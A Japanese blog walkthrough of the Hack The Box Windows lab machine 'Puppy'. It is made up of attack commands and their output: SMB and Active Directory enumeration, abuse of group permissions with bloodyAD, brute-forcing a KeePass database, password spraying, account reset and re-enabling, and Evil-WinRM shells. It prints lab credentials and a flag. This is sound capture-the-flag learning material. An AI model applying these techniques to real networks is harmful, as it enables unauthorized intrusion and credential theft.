Hack The BoxのWriteup(Puppy)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのWindowsサーバの難易度Mediumのマシンである「Puppy」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン
  (2) 名前解決のためのhostsファイル更新
  (3) SMBアクセスによるファイル取得
  (4) BloodHoundを用いたActive Directoryの環境を解析
  (5) NetExecを用いたユーザー一覧確認
  (6) BloodyADを用いたユーザーのグループ追加
  (7) SMBを用いたDEVフォルダへのアクセス
  (8) keepass4brute.shを用いたKeePassデータベースファイルのパスワード解析
  (9) KeePassデータベースファイルの内容確認
  (10) BloodyADを用いたユーザーのパスワード変更及び有効化
  (11) Evil-WinRMを用いたadam.silverユーザー権限奪取
  (12) Evil-WinRMを用いたsteph.cooperユーザー権限奪取
  (13) 【参考】winPEASを用いたサーバの調査
  (14) DPAPI(Data Protection API)の認証情報取得
  (15) Evil-WinRMを用いたsteph.cooper_admユーザー権限奪取


※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SMB(445/tcp)やWinRM(5985/tcp)などポートが応答がある。
また、ドメイン名が「puppy.htb」でホスト名が「DC」であることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.70
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-05 02:42 EDT
Nmap scan report for 10.10.11.70
Host is up (0.26s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49891/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-10-05T13:45:27
|_  start_date: N/A
|_clock-skew: 7h00m38s

TRACEROUTE (using port 111/tcp)
HOP RTT       ADDRESS
1   239.53 ms 10.10.14.1
2   239.63 ms 10.10.11.70

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 329.58 seconds



名前解決のためのhostsファイル更新


(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

※Kali Linux上で以下のコマンドを実行する。

$ echo '10.10.11.70 puppy.htb' | sudo tee -a /etc/hosts
$ echo '10.10.11.70 dc.puppy.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.70 puppy.htb」と「10.10.11.70 dc.puppy.htb」が出力されることを確認する。


SMBアクセスによるファイル取得


(1) CrackMapExecの–sharesオプションを付けて、SMBの共有フォルダ一覧の表示を試みる。しかし、ユーザーを何も指定していないと拒否されてしまう。

※Kali Linux上で以下のコマンドを実行する。

# crackmapexec smb puppy.htb --shares
SMB         puppy.htb       445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         puppy.htb       445    DC               [-] Error enumerating shares: STATUS_USER_SESSION_DELETED


(2) CrackMapExecを用いてlevi.jamesユーザーで共有フォルダ一覧を確認すると、DEVというフォルダあるが読み込み権限がない。

※Kali Linux上で以下のコマンドを実行する。

# crackmapexec smb puppy.htb -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB         puppy.htb       445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         puppy.htb       445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         puppy.htb       445    DC               [+] Enumerated shares
SMB         puppy.htb       445    DC               Share           Permissions     Remark
SMB         puppy.htb       445    DC               -----           -----------     ------
SMB         puppy.htb       445    DC               ADMIN$                          Remote Admin
SMB         puppy.htb       445    DC               C$                              Default share
SMB         puppy.htb       445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         puppy.htb       445    DC               IPC$            READ            Remote IPC
SMB         puppy.htb       445    DC               NETLOGON        READ            Logon server share
SMB         puppy.htb       445    DC               SYSVOL          READ            Logon server share


BloodHoundを用いたActive Directoryの環境を解析


(1) BloodHoundを使用してActive Directoryの情報を閲覧できるように、Kali Linux上で環境準備をします。

※Kali Linux上で以下のコマンドを実行する。 

$ sudo apt install -y neo4j
$ sudo neo4j start
$ sudo neo4j console


(2) ブラウザを起動して、「http://localhost:7474/」にアクセスすると接続情報を入力する画面が表示される。


(3) 「ユーザー名:neo4j」と「パスワード:neo4j」を入力して「Connect」をクリックする。


(4) 新しいパスワードを入力して、「Change Password」をクリックする。


(5) トップページが表示されることを確認する。


(6) Bloodhoundを用いてActive Directory環境を列挙する。

※Kali Linux上で以下のコマンドを実行する。 

# bloodhound-python -d puppy.htb -u 'levi.james' -p 'KingofAkron2025!' -dc 'dc.puppy.htb' -c all -ns 10.10.11.70
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
INFO: Done in 05M 17S


(7) 取得したActive Directory環境のファイル一覧が格納されていることを確認する。

※Kali Linux上で以下のコマンドを実行する。 

$ ls -l
-rw-r--r-- 1 root root      3820 Oct  8 11:03 20251008105813_computers.json
-rw-r--r-- 1 root root     24278 Oct  8 11:03 20251008105813_containers.json
-rw-r--r-- 1 root root      3512 Oct  8 11:03 20251008105813_domains.json
-rw-r--r-- 1 root root      5891 Oct  8 11:02 20251008105813_gpos.json
-rw-r--r-- 1 root root     84710 Oct  8 11:02 20251008105813_groups.json
-rw-r--r-- 1 root root      4960 Oct  8 11:02 20251008105813_ous.json
-rw-r--r-- 1 root root     23994 Oct  8 11:02 20251008105813_users.json


(8) BloodHoundを起動する。

※Kali Linux上で以下のコマンドを実行する。

$ wget https://github.com/SpecterOps/BloodHound-Legacy/releases/download/v4.3.1/BloodHound-linux-x64.zip

$ unzip BloodHound-linux-x64.zip

$ sudo ./BloodHound-linux-x64/BloodHound --no-sandbox


(9) BloodHoundのログイン画面が表示されることを確認するため、「ユーザー名:neo4j」と上記(6)で変更したパスワードを入力する。その後、「Login」をクリックする。


(10) ログインに成功し、BloodHoundの画面が表示される。


(11) ドラッグ&ドロップでADの環境ファイル(20251008105813_computers.json等)をBloodHoundに読み込ませる。


(12) 左上部の「levi.james」を入力して、「LEVI.JAMES@PUPPY.HTB」を表示する。


(13) 「LEVI.JAMES@PUPPY.HTB」のオブジェクトをクリックする。


(14) [Node Info] > [OUTBOUND OBJECT CONTROL] > [Group Delegated Object Control] をクリックする。


(15) levi.jamesユーザーが所属するHRグループには、DEVELOPERSグループに対するGenericWrite権限が付与されていることが分かる。その後、「DEVELOPERS@PUPPY.HTB」をクリックして、[GROUP MEMBERS] > [Direct Members]をクリックする。



(16) DEVELOPERSグループに所属しているアカウントを確認すると、「JAMIE.WILLIAMS」と「ADAM.SILVER」と「ANT.EDWARDS」の3個のアカウントが所属していることが分かる。

NetExecを用いたユーザー一覧確認


(1) NetExecを用いてドメインに所属しているユーザー一覧を確認する。

※Kali Linux上で以下のコマンドを実行する。

$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --rid-brute | grep -iE 'SidTypeUser' | grep -viE 'WINDOWS|\$' | awk '{print $6}' | awk -F'\\' '{print $2}'
Administrator
Guest
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm


(2) 取得したドメインに所属しているユーザー一覧をファイルに保存する。

※Kali Linux上で以下のコマンドを実行する。

$ vi usernames.txt

【usernames.txtの内容】
Administrator
Guest
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm


BloodyADを用いたユーザーのグループ追加


(1) BloodHoundで確認した結果で、levi.jamesユーザーが所属するHRグループには、DEVELOPERSグループに対するGenericWrite権限が付与されていることが分かっている。


(2) BloodyADを用いてlevi.jamesユーザーをDEVELOPERグループに所属させる。

※Kali Linux上で以下のコマンドを実行する。

$ bloodyAD --host 10.10.11.70 -d puppy.htb -u levi.james -p 'KingofAkron2025!' add groupMember "DEVELOPERS" "levi.james"
[+] levi.james added to DEVELOPER



SMBを用いたDEVフォルダへのアクセス


(1) levi.jamesユーザーでアクセスできる共有フォルダを確認すると、DEVフォルダにアクセスできることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ netexec smb puppy.htb -u levi.james -p KingofAkron2025! --shares
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.10.11.70     445    DC               [*] Enumerated shares
SMB         10.10.11.70     445    DC               Share           Permissions     Remark
SMB         10.10.11.70     445    DC               -----           -----------     ------
SMB         10.10.11.70     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.70     445    DC               C$                              Default share
SMB         10.10.11.70     445    DC               DEV             READ            DEV-SHARE for PUPPY-DEVS
SMB         10.10.11.70     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.70     445    DC               NETLOGON        READ            Logon server share
SMB         10.10.11.70     445    DC               SYSVOL          READ            Logon server share


(2) levi.jamesユーザーでDEVフォルダにアクセスする。

※Kali Linux上で以下のコマンドを実行する。

$ smbclient \\\\puppy.htb\\DEV -U levi.james%KingofAkron2025!
Try "help" to get a list of possible commands.
smb: \>


(3) DEVフォルダにのファイル一覧を確認すると、パスワード管理ソフト(KeePass)のデータベースファイル(recovery.kdbx)があることが分かる。

※levi.jamesユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

smb: \> dir
  .                                  DR        0  Sun Mar 23 03:07:57 2025
  ..                                  D        0  Sat Mar  8 11:52:57 2025
  KeePassXC-2.7.9-Win64.msi           A 34394112  Sun Mar 23 03:09:12 2025
  Projects                            D        0  Sat Mar  8 11:53:36 2025
  recovery.kdbx                       A     2677  Tue Mar 11 22:25:46 2025

                5080575 blocks of size 4096. 1596364 blocks available


(4) パスワード管理ソフト(KeePass)のデータベースファイル(recovery.kdbx)をダウンロードする。

※levi.jamesユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (3.1 KiloBytes/sec) (average 3.1 KiloBytes/sec)


(5) SMBアクセスを終了する。

※levi.jamesユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

smb: \> exit


(6) keepassxcを用いてデータベースファイル(recovery.kdbx)を開く。

※Kali Linux上で以下のコマンドを実行する。

$ keepassxc recovery.kdbx


(7) データベースファイル(recovery.kdbx)のパスワードの入力画面が表示されるが、パスワードが分からない。


(8) keepass2johnを用いてパスワードを解析しようとすると、サポートされてない旨のエラーメッセージが表示される。

※Kali Linux上で以下のコマンドを実行する。

$ keepass2john recovery.kdbx
! recovery.kdbx : File version '40000' is currently not supported!


(9) john-the-ripperを使用するためにソフトウェアのインストール及びサービス起動をする。

※Kali Linux上で以下のコマンドを実行する。

$ sudo apt install snapd -y
$ sudo systemctl start snapd
$ sudo systemctl enable snapd
$ sudo snap install core snapd
$ sudo snap install john-the-ripper


(10) john-the-ripper.keepass2johnを用いてデータベースファイル(recovery.kdbx)の内容を確認する。

※Kali Linux上で以下のコマンドを実行する。

$ /snap/bin/john-the-ripper.keepass2john recovery.kdbx
recovery:$keepass$*4*37*ef636ddf*67108864*19*4*bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf2662853527714*d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb92441470*03d9a29a67fb4bb500000400021000000031c1f2e6bf714350be5805216afc5aff0304000000010000000420000000bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf266285352771407100000000ab56ae17c5cebf440092907dac20a350b8b00000000014205000000245555494410000000ef636ddf8c29444b91f7a9a403e30a0c05010000004908000000250000000000000005010000004d080000000000000400000000040100000050040000000400000042010000005320000000d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb9244147004010000005604000000130000000000040000000d0a0d0a*31614848015626f2451cc4d07ce9a281a416c8e8c2ff8cc45c69ce1f4daef0e9


keepass4brute.shを用いたKeePassデータベースファイルのパスワード解析


(1) keepass4bruteを実行するためにダウンロードする。

※Kali Linux上で以下のコマンドを実行する。

$ git clone https://github.com/r3nt0n/keepass4brute


$ sudo apt install keepassxc -y


(2) keepass4brute.shの内容を確認する。

※Kali Linux上で以下のコマンドを実行する。

$ cat keepass4brute.sh
#!/bin/bash

# https://github.com/r3nt0n/keepass4brute
# Name: keepass4brute.sh
# Author: r3nt0n
# Version: 1.0 (25/11/2022)

version="1.3"
/bin/echo -e "keepass4brute $version by r3nt0n"
/bin/echo -e "https://github.com/r3nt0n/keepass4brute\n"

if [ $# -ne 2 ]
then
  /bin/echo "Usage $0 <kdbx-file> <wordlist>"
  exit 2
fi

dep="keepassxc-cli"
command -v $dep >/dev/null 2>&1 || { /bin/echo >&2 "Error: $dep not installed.  Aborting."; exit 1; }

n_total=$( wc -l < $2 )
start_time=$(date +%s)

IFS=''
while read -r line; do
  n_tested=$((n_tested + 1))
  current_time=$(date +%s)
  elapsed_time=$((current_time - start_time))

  if [ $elapsed_time -gt 0 ]; then
    attempts_per_minute=$((n_tested * 60 / elapsed_time))
    remaining_attempts=$((n_total - n_tested))
    estimated_time_remaining_seconds=$((remaining_attempts * 60 / attempts_per_minute))

    estimated_time_remaining_minutes=$((estimated_time_remaining_seconds / 60))
    estimated_time_remaining_seconds=$((estimated_time_remaining_seconds % 60))

    estimated_time_remaining_hours=$((estimated_time_remaining_minutes / 60))
    estimated_time_remaining_minutes=$((estimated_time_remaining_minutes % 60))

    estimated_time_remaining_days=$((estimated_time_remaining_hours / 24))
    estimated_time_remaining_hours=$((estimated_time_remaining_hours % 24))

    estimated_time_remaining_weeks=$((estimated_time_remaining_days / 7))
    estimated_time_remaining_days=$((estimated_time_remaining_days % 7))

    if [ $estimated_time_remaining_weeks -gt 0 ]; then
      estimated_time_remaining="$estimated_time_remaining_weeks weeks, $estimated_time_remaining_days days"
    elif [ $estimated_time_remaining_days -gt 0 ]; then
      estimated_time_remaining="$estimated_time_remaining_days days, $estimated_time_remaining_hours hours"
    elif [ $estimated_time_remaining_hours -gt 0 ]; then
      estimated_time_remaining="$estimated_time_remaining_hours hours, $estimated_time_remaining_minutes minutes"
    elif [ $estimated_time_remaining_minutes -gt 0 ]; then
      estimated_time_remaining="$estimated_time_remaining_minutes minutes, $estimated_time_remaining_seconds seconds"
    else
      estimated_time_remaining="$estimated_time_remaining_seconds seconds"
    fi
  else
    attempts_per_minute=0
    estimated_time_remaining="Calculating..."
  fi

  /bin/echo -e "\e[2K\r[+] Words tested: $n_tested/$n_total - Attempts per minute: $attempts_per_minute - Estimated time remaining: $estimated_time_remaining"
  /bin/echo -e "\e[2K\r[+] Current attempt: $line"

  /bin/echo $line | keepassxc-cli open $1 &> /dev/null
  if [ $? -eq 0 ]
  then
    /bin/echo -ne "\n"
    /bin/echo "[*] Password found: $line"; exit 0;
  fi
  /bin/echo -ne "\e[2A"
done < $2

/bin/echo -ne "\n"
/bin/echo "[!] Wordlist exhausted, no match found"; exit 3;


(3) keepass4brute.shを用いてKeePassデータベースファイル(recovery.kdbx)のパスワード解析をすると、パスワードが「liverpool」であることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ ./keepass4brute/keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
GitHub - r3nt0n/keepass4brute: Bruteforce Keepass databases (KDBX 4.x format)
Bruteforce Keepass databases (KDBX 4.x format). Contribute to r3nt0n/keepass4brute development by creating an account on GitHub.
[+] Words tested: 36/14344392 - Attempts per minute: 27 - Estimated time remaining: 52 weeks, 4 days [+] Current attempt: liverpool [*] Password found: liverpool


KeePassデータベースファイルの内容確認


(1) keepassxcを用いてデータベースファイル(recovery.kdbx)を開く。

※Kali Linux上で以下のコマンドを実行する。

$ keepassxc recovery.kdbx


(2) データベースファイル(recovery.kdbx)のパスワードの入力画面が表示されるため、「liverpool」を入力する。その後、「Unlock」をクリックする。


(3) データベースファイル(recovery.kdbx)の内容が表示されることを確認する。


(4) keepassxc-cliを用いてデータベースファイル(recovery.kdbx)の内容をファイルに書き込む。

※Kali Linux上で以下のコマンドを実行する。

$ echo 'liverpool' | keepassxc-cli export -f csv recovery.kdbx > output.csv


(5) データベースファイル(recovery.kdbx)の内容を確認すると、ユーザー名(Username)やパスワード(Password)などが記載されていることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ cat output.csv
"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"
"Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb","","","0","2025-03-10T08:57:58Z","2025-03-10T08:57:01Z"
"Root","ADAM SILVER","","HJKL2025!","puppy.htb","","","0","2025-03-10T09:01:02Z","2025-03-10T08:58:07Z"
"Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb","","","0","2025-03-10T09:00:02Z","2025-03-10T08:58:46Z"
"Root","STEVE TUCKER","","Steve2025!","puppy.htb","","","0","2025-03-10T09:03:48Z","2025-03-10T09:01:26Z"
"Root","SAMUEL BLAKE","","liverpool","puppy.htb","","","0","2025-10-15T09:45:54Z","2025-03-10T09:02:03Z"


(6) データベースファイル(recovery.kdbx)に記載されているパスワード(Password)の一覧をファイルに保存する。

※Kali Linux上で以下のコマンドを実行する。

$ cat output.csv | cut -f 4 -d "," | tail -n 5 | sed -e "s/^\"//" | sed -e "s/\"$//" > passwords.txt


$ cat passwords.txt
JamieLove2025!
HJKL2025!
Antman2025!
Steve2025!
liverpool


(7) ユーザー名一覧のファイル(usernames.txt)とパスワード一覧のファイル(passwords.txt)を用いてSMPアクセスができるユーザー名とパスワードの組み合わせを調査する。結果を確認すると、ant.edwardsユーザーのパスワードが「Antman2025!」であることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ netexec smb puppy.htb -u usernames.txt -p passwords.txt --continue-on-success
ーーー(省略)ーーー
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025!
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\adam.silver:Antman2025! STATUS_LOGON_FAILURE
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\jamie.williams:Antman2025! STATUS_LOGON_FAILURE
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\steph.cooper:Antman2025! STATUS_LOGON_FAILURE
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\steph.cooper_adm:Antman2025! STATUS_LOGON_FAILURE
ーーー(省略)ーーー




BloodyADを用いたユーザーのパスワード変更及び有効化


(1) BloodHoundを用いてant.edwardsユーザーを検索し、「ANT.EWARDS@PUPPY.HTB」のオブジェクトをクリックする。


(2) [Node Info] > [OUTBOUND OBJECT CONTROL] > [Group Delegated Object Control] をクリックする。


(3) ant.edwardsユーザーが所属しているSENIOR DEVSグループには、adam.silverユーザーに対してGenericAll権限があることが分かる。


(4) 「ADAM.SILVER@PUPPY.HTB」のオブジェクトをクリックして、[Node Info] > [NODE PROPERTIES] > [Enable] の値を確認すると、「False」になっていることが分かる。


(5) bloodyADを用いてadam.silverユーザーのパスワードを変更する。

※Kali Linux上で以下のコマンドを実行する。

$ bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' set password 'adam.silver' 'Thisisapassword123!'
[+] Password changed successfully!


(6) adam.silverユーザーでSMBアクセスをすると、STATUS_ACCOUNT_DISABLEDというエラーメッセージが表示されログインできない。

※Kali Linux上で以下のコマンドを実行する。

$ netexec smb puppy.htb -u adam.silver -p 'Thisisapassword123!'
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [-] PUPPY.HTB\adam.silver:Thisisapassword123! STATUS_ACCOUNT_DISABLED


(7) bloodyADを用いてadam.silverユーザーを有効化する。

※Kali Linux上で以下のコマンドを実行する。

$ bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' remove uac 'adam.silver' -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl


(8) netexecを用いてadam.silverユーザーでSMBアクセスできることを確認する。

※Kali Linux上で以下のコマンドを実行する。

$ netexec smb puppy.htb -u adam.silver -p 'Thisisapassword123!'
SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\adam.silver:Thisisapassword123!


Evil-WinRMを用いたadam.silverユーザー権限奪取


(1) adam.silverユーザーの認証情報を用いてEvil-WinRMを実行すると、adam.silverユーザーのプロンプトが表示される。
 ※Evil-WinRMとは、Windows Remote Managementのサービスをリモートから実行し、任意コマンドが実行できるプログラム

※Kali Linux上で以下のコマンドを実行する。

$ evil-winrm -u adam.silver -p 'Thisisapassword123!' -i puppy.htb

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>


(2) 一般ユーザー用のフラグファイルの内容を確認する。

※adam.silverユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ cd "C:\Users\adam.silver\Desktop"


$ type user.txt
95c3c3eb10da03884ba121d24a1b7d61


Evil-WinRMを用いたsteph.cooperユーザー権限奪取


(1) 攻撃対象のマシン(Puppy)上のCドライブ配下のフォルダ/ファイル一覧を確認すると、Backupsフォルダなどがあることが分かる。

※adam.silverユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ cd "C:\"


$ dir


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2025  10:48 AM                Backups
d-----         5/12/2025   5:21 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         7/24/2025  12:25 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-----          3/8/2025   9:00 AM                StorageReports
d-r---          3/8/2025   8:52 AM                Users
d-----         5/13/2025   4:40 PM                Windows


(2) Backupsフォルダ配下の内容を確認すると、「site-backup-2024-12-30.zip」というファイルがあることが分かる。

※adam.silverユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ cd "C:\Backups"


    Directory: C:\Backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip


(3) 「site-backup-2024-12-30.zip」ファイルをダウンロードする。

※adam.silverユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ download "C:/Backups/site-backup-2024-12-30.zip"

Info: Downloading C:/Backups/site-backup-2024-12-30.zip to site-backup-2024-12-30.zip


Info: Download successful!


(4) SMBアクセスを終了する。

※adam.silverユーザーでログインしている攻撃対象のマシン(Puppy)上で以下のコマンドを実行する。

$ exit


(5) 「site-backup-2024-12-30.zip」ファイルを解凍する。

※Kali Linux上で以下のコマンドを実行する。

$ unzip site-backup-2024-12-30.zip
Archive:  site-backup-2024-12-30.zip
   creating: puppy/
  inflating: puppy/nms-auth-config.xml.bak
   creating: puppy/images/
  inflating: puppy/images/banner.jpg
  inflating: puppy/images/jamie.jpg
  inflating: puppy/images/antony.jpg
  inflating: puppy/images/adam.jpg
  inflating: puppy/images/Levi.jpg
   creating: puppy/assets/
   creating: puppy/assets/js/
  inflating: puppy/assets/js/jquery.scrolly.min.js
  inflating: puppy/assets/js/util.js
  inflating: puppy/assets/js/breakpoints.min.js
  inflating: puppy/assets/js/jquery.min.js
  inflating: puppy/assets/js/main.js
  inflating: puppy/assets/js/jquery.dropotron.min.js
  inflating: puppy/assets/js/browser.min.js
   creating: puppy/assets/webfonts/
  inflating: puppy/assets/webfonts/fa-regular-400.eot
  inflating: puppy/assets/webfonts/fa-solid-900.svg
  inflating: puppy/assets/webfonts/fa-solid-900.ttf
  inflating: puppy/assets/webfonts/fa-solid-900.woff2
  inflating: puppy/assets/webfonts/fa-brands-400.svg
  inflating: puppy/assets/webfonts/fa-solid-900.woff
  inflating: puppy/assets/webfonts/fa-solid-900.eot
  inflating: puppy/assets/webfonts/fa-regular-400.ttf
 extracting: puppy/assets/webfonts/fa-regular-400.woff2
  inflating: puppy/assets/webfonts/fa-regular-400.svg
  inflating: puppy/assets/webfonts/fa-brands-400.eot
  inflating: puppy/assets/webfonts/fa-brands-400.woff
  inflating: puppy/assets/webfonts/fa-brands-400.ttf
  inflating: puppy/assets/webfonts/fa-brands-400.woff2
  inflating: puppy/assets/webfonts/fa-regular-400.woff
   creating: puppy/assets/css/
  inflating: puppy/assets/css/main.css
   creating: puppy/assets/css/images/
  inflating: puppy/assets/css/images/overlay.png
  inflating: puppy/assets/css/images/highlight.png
  inflating: puppy/assets/css/fontawesome-all.min.css
   creating: puppy/assets/sass/
  inflating: puppy/assets/sass/main.scss
   creating: puppy/assets/sass/libs/
  inflating: puppy/assets/sass/libs/_vendor.scss
  inflating: puppy/assets/sass/libs/_functions.scss
  inflating: puppy/assets/sass/libs/_html-grid.scss
  inflating: puppy/assets/sass/libs/_vars.scss
  inflating: puppy/assets/sass/libs/_breakpoints.scss
  inflating: puppy/assets/sass/libs/_mixins.scss
  inflating: puppy/index.html


(6) 「site-backup-2024-12-30.zip」中の「nms-auth-config.xml.bak」の内容を確認すると、steph.cooperユーザーのパスワードが「ChefSteph2025!」であることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ cat puppy/nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>


(7) steph.cooperユーザーの認証情報を用いてEvil-WinRMを実行すると、steph.cooperユーザーのプロンプトが表示される。

※Kali Linux上で以下のコマンドを実行する。

$ evil-winrm -i puppy.htb -u steph.cooper -p 'ChefSteph2025!'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>


